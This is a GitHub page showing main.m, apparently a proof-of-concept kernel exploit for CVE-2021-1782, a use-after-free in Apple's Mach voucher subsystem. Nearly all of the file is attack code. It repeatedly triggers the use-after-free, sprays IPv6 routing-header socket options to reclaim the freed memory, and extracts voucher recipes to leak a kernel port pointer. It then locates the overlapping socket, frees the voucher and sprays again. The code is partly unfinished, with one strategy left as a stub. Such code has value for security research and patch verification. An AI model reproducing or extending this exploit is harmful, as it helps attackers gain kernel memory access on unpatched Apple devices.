-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.m
129 lines (104 loc) · 3.94 KB
/
main.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <mach/mach.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/mbuf.h>
#include "IOKitLib.h"
#include "spray.h"
#include "helper.h"
#include "cve_2021_1782.h"
#define TRIES 100000
#define STRATEGY 1
// #define STRATEGY 2
void strategy_one() {
mach_port_t voucher;
kern_return_t kr;
int j;
mach_msg_type_number_t recipe_size, recipe_legit_size;
void *recipe;
int *spray_socks;
int overlapping_sock;
uint8_t *overlapping_rthdr_buf;
uint8_t **rthdr_buf_array;
size_t rthdr_len, overlapping_sock_index;
uintptr_t leaked_port_address;
recipe_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE;
recipe = calloc(recipe_size, sizeof(uint8_t));
spray_socks = prepare_socks();
prepare_spray_buf(&rthdr_buf_array, &rthdr_len, ELEM_SIZE, E_SIZE_SPRAY);
init_exploit();
for (j = 0; j < TRIES; j++) {
if (j % 100 == 0) {
INFO_LOG("attempt: %d\n", j);
}
init_attempt(j);
voucher = trigger_uaf(j);
rthdr_spray(spray_socks, rthdr_buf_array, rthdr_len);
recipe_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE;
kr = mach_voucher_extract_attr_recipe_trap(voucher, MACH_VOUCHER_ATTR_KEY_USER_DATA, recipe, &recipe_size);
if (kr == KERN_SUCCESS && recipe_size != UNCORRUPTED_RECIPE_SIZE) {
INFO_LOG("extract recipe: %x", recipe_size);
hexdump(recipe, recipe_size);
leaked_port_address = search_for_port_pointer_leak(recipe);
INFO_LOG("%zx", leaked_port_address);
if (leaked_port_address != 0) {
break;
}
}
else if (kr != KERN_SUCCESS && kr != KERN_NO_SPACE && kr != MACH_SEND_INVALID_DEST) {
printf("kr: 0x%x\n", kr);
}
reset_spray_socks_opts(spray_socks);
clear_attempt();
}
if (leaked_port_address == 0) {
return;
}
overlapping_sock_index = identify_overlapping_sock(recipe, E_CONTENT_RECIPE_OFFSET);
INFO_LOG("Overlapping socket index: %zx", overlapping_sock_index);
overlapping_sock = spray_socks[overlapping_sock_index];
overlapping_rthdr_buf = rthdr_buf_array[overlapping_sock_index];
INFO_LOG("Overlapping socket: %d", overlapping_sock);
hexdump(overlapping_rthdr_buf, rthdr_len);
// replace_sock(spray_socks, overlapping_sock_index);
// close_spray_socks(spray_socks);
// reset_spray_socks_pktopts(spray_socks);
// free_opts(overlapping_sock);
INFO_LOG("now raising ivace->made");
raise_ivace_made((struct ip6_rthdr *)rthdr_buf_array[0]);
INFO_LOG("after raise");
get_rthdr(overlapping_sock, overlapping_rthdr_buf, rthdr_len);
hexdump(overlapping_rthdr_buf, rthdr_len);
INFO_LOG("reset content size");
prepare_spray_buf(&rthdr_buf_array, &rthdr_len, ELEM_SIZE, CONTENT_SIZE);
rthdr_spray(spray_socks, rthdr_buf_array, rthdr_len);
get_rthdr(overlapping_sock, overlapping_rthdr_buf, rthdr_len);
hexdump(overlapping_rthdr_buf, rthdr_len);
spray_socks = prepare_socks();
prepare_spray_buf(&rthdr_buf_array, &rthdr_len, ELEM_SIZE, CONTENT_SIZE*2);
INFO_LOG("before free");
sleep(2 * SECOND);
mach_port_destroy(mach_task_self(), voucher);
/* INFO_LOG("after free");
sleep(2 * SECOND); */
rthdr_spray(spray_socks, rthdr_buf_array, rthdr_len);
// tclass_spray(spray_socks);
/* recipe_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE;
kr = mach_voucher_extract_attr_recipe_trap(voucher, MACH_VOUCHER_ATTR_KEY_USER_DATA, recipe, &recipe_size);
INFO_LOG("extract recipe: %x", recipe_size); */
get_rthdr(overlapping_sock, overlapping_rthdr_buf, rthdr_len);
hexdump(overlapping_rthdr_buf, rthdr_len);
}
void strategy_two() {
printf("Not implemented\n");
}
int main(int argc, const char *argv[]) {
if (STRATEGY == 1) {
strategy_one();
} else {
strategy_two();
}
return 0;
}